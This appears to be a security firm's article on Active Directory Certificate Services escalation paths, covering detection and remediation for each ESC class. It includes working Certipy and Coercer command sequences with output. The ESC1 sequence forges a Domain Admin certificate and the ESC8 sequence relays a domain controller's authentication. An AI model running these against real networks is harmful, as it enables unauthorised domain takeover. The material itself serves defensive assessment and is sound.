AD CS is your soft underbelly.

#Why a certificate is an identity

Active Directory can authenticate a user with a certificate instead of a password. Kerberos does it through PKINIT; LDAP and other services do it through Schannel. In both cases the domain controller reads the identity out of the certificate, historically from the Subject Alternative Name (SAN), a field that says, in effect, “this certificate belongs to administrator@corp.local.”

That is the whole game. If an attacker can obtain a certificate whose SAN names a privileged account, they can present it to a domain controller and be issued a Kerberos ticket as that account. The certificate is a bearer token for an identity, valid for the lifetime on the template, often a year or more, and it survives the target's password changing.

#The shape of the problem

An enterprise CA issues certificates according to certificate templates: reusable blueprints that define who may enroll, what the certificate can be used for (its Extended Key Usage), and whether the requester is allowed to choose the subject. A mature domain accumulates dozens of them, built-in, vendor-added, and hand-rolled by administrators who left long ago.

The danger is asymmetric. A defender has to get every template right. An attacker needs one template that combines three ordinary-looking settings: it permits low-privileged users to enroll, it produces a certificate usable for client authentication, and it lets the requester supply their own subject. Individually each is a legitimate feature. Together they are a domain-wide privilege escalation, and the SpecterOps research that named the pattern catalogued eight such combinations (ESC1-ESC8); later work added ESC9 through ESC11 and beyond.

#The ESC family at a glance

“ESC” is short for escalation. Each identifier is a distinct misconfiguration with its own precondition and its own fix. This is the map; the sections after it walk the two most common in detail.

ESC1-ESC7 are template and CA misconfigurations. ESC8 and ESC11 are relay attacks against enrollment endpoints. ESC9 and ESC10 are certificate-mapping weaknesses that became relevant after Microsoft's May 2022 hardening (KB5014754). They are not ranked by severity, any single one that applies to your estate is typically enough to reach Domain Admin.

#ESC1 in depth: the enrollee-supplied subject

ESC1 is the canonical case and the one we find most often. A template is vulnerable when all of the following hold at once:

• Low-privileged principals (e.g. Domain Users) have the Enroll right.
• The template's EKU permits client authentication (Client Authentication, Smart Card Logon, PKINIT Client Auth, or Any Purpose).
• The template sets CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, the requester chooses the subject, including the SAN.
• Manager approval is off and no authorized-signature is required.

Enumeration and exploitation with Certipy is two commands. First, find the vulnerable templates:

# enumerate AD CS and flag every template with a known ESC condition
certipy find -u alice@corp.local -p '<pass>' -dc-ip 10.0.0.10 -vulnerable -stdout

# ...output, trimmed to the finding that matters:
Template Name  : HelpDeskUser
Enrollment Rights : CORP.LOCAL\Domain Users        # anyone can enroll
Client Authentication : True                        # usable to log on
Enrollee Supplies Subject : True              # requester picks the SAN
Requires Manager Approval : False                   # no human in the loop
[!] Vulnerabilities : ESC1

Then request a certificate as a Domain Admin by supplying their UPN, and use that certificate to authenticate, recovering a Kerberos TGT and, via PKINIT, the account's NT hash:

# request a cert on the vulnerable template, but name someone else in the SAN
certipy req -u alice@corp.local -p '<pass>' -dc-ip 10.0.0.10 \
    -ca CORP-CA -template HelpDeskUser \
    -upn administrator@corp.local
[*] Saved certificate and private key to 'administrator.pfx'

# present the cert to a DC: PKINIT returns a TGT and the account's NT hash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.10
[*] Got TGT
[*] Got hash for 'administrator@corp.local': aad3b4...:31d6cfe0d16ae931b73c59d7e0c089c0

#ESC8 in depth: relaying to web enrollment

ESC8 needs no template misconfiguration at all. Many CAs expose an HTTP web-enrollment endpoint (/certsrv) that accepts NTLM authentication over a cleartext or un-bound channel. NTLM authentication can be relayed: an attacker who can make a privileged machine authenticate to them can forward that authentication to the CA and request a certificate as the coerced machine.

The devastating version couples this with authentication coercion, techniques such as PetitPotam that force a domain controller to authenticate to an arbitrary host. Relay the DC's authentication to web enrollment, request a certificate on the DomainController template, and you hold a certificate for the DC's machine account. From there, DCSync and full domain compromise follow.

# 1) stand up a relay pointed at the CA's web-enrollment endpoint
certipy relay -target 'http://corp-ca.corp.local' -template DomainController

# 2) in another window, coerce a DC into authenticating to us
#    (PetitPotam / MS-EFSRPC, patched piecemeal; still widely reachable)
coercer coerce -u alice -p '<pass>' -t 10.0.0.10 -l <attacker-ip>

# 3) the relay captures the DC's auth and enrolls a cert AS the DC
[*] Got certificate with DNS 'dc01.corp.local'
[*] Saved certificate and private key to 'dc01.pfx'   # game over

#The mapping bugs: ESC9 and ESC10

In May 2022, Microsoft's certificate-mapping hardening (KB5014754) began embedding the requester's SID into a new security extension (szOID_NTDS_CA_SECURITY_EXT) so a certificate could no longer be silently re-pointed at another identity. ESC9 and ESC10 are the cases where that protection is absent or disabled.

ESC9 applies when a template omits that security extension. ESC10 applies when the domain controller's mapping is weakened by registry settings (StrongCertificateBindingEnforcement = 0, or CertificateMappingMethods permitting UPN mapping). In either case, an attacker who can write to a victim account they control, setting its userPrincipalName to a target's UPN, can enroll, revert the change, and authenticate as the target. It is a UPN swap, invisible unless you are watching for it.

#How we test it

On an engagement, our AD CS pass is deliberately systematic rather than opportunistic:

• Enumerate everything. certipy find -vulnerable and BloodHound's certificate edges give us every template, every enrollment right, and every CA setting, not just the one that happened to be obvious.
• Triage by reachability. A template is only a finding if a principal we can become actually holds the enroll right. We map each vulnerable template to the lowest-privileged account that can abuse it.
• Prove exactly one path. We take a single vulnerable template to a Domain Admin certificate and demonstrate authentication, enough to be undeniable, stopping short of any destructive action.
• Inventory the rest. Every other exploitable path is documented with its ESC class, precondition, and fix, so remediation is a checklist rather than a treasure hunt.

#Detection

AD CS abuse is quiet, but not silent. The signal lives in the CA and DC logs if you are collecting them:

• 4886  Certificate requested, and 4887  Certificate issued, on the CA. A request where the SAN does not match the requesting account is the tell for ESC1/ESC6.
• 4768  A Kerberos TGT was requested, on the DC, with certificate information populated, shows a certificate being used to authenticate.
• Enrollment from an unexpected host, or a spike in requests against a rarely used template, is worth an alert.

#Fixing it, per ESC

The good news: most of these are a single setting away from safe. The hard part is knowing which of your templates and endpoints is the dangerous one, which is exactly the map an assessment produces.

• ESC1 / ESC2 / ESC3: remove ENROLLEE_SUPPLIES_SUBJECT, tighten the EKU to only what the template needs, restrict enrollment rights, and require manager approval on anything sensitive.
• ESC4 / ESC5: audit and lock down DACLs on template and PKI objects, treat them as Tier‑0.
• ESC6: remove the EDITF_ATTRIBUTESUBJECTALTNAME2 flag from the CA and restart the service.
• ESC7: restrict ManageCA and ManageCertificates to named, audited administrators.
• ESC8 / ESC11: disable NTLM to the CA, enable Extended Protection for Authentication (EPA) and require HTTPS on web enrollment, enforce encryption on the RPC interface, and remove enrollment endpoints you don't use.
• ESC9 / ESC10: apply KB5014754 and move to Full Enforcement strong certificate mapping.
• Everywhere: put the CA in Tier‑0, and forward its event log so the attacks above are visible.

#What AD CS abuse is, and isn't

Precision matters, so it is worth bounding the claim:

• It is not a software vulnerability. There is no patch that fixes ESC1; the CA is behaving as configured. Remediation is configuration, not a Windows Update.
• It is not remote-code-execution. These techniques forge authentication, not shells. Their power is that they hand an attacker a legitimate identity.
• It requires a foothold. The template attacks need an authenticated domain user; the relay attacks need network position and a coercion primitive. This is an internal escalation, not an internet-facing one, which is precisely why it matters in an assumed-breach or post-phishing scenario.
• It is fixable without downtime. Almost every item in the section above is a template edit, an ACL change, or a registry value, not a migration.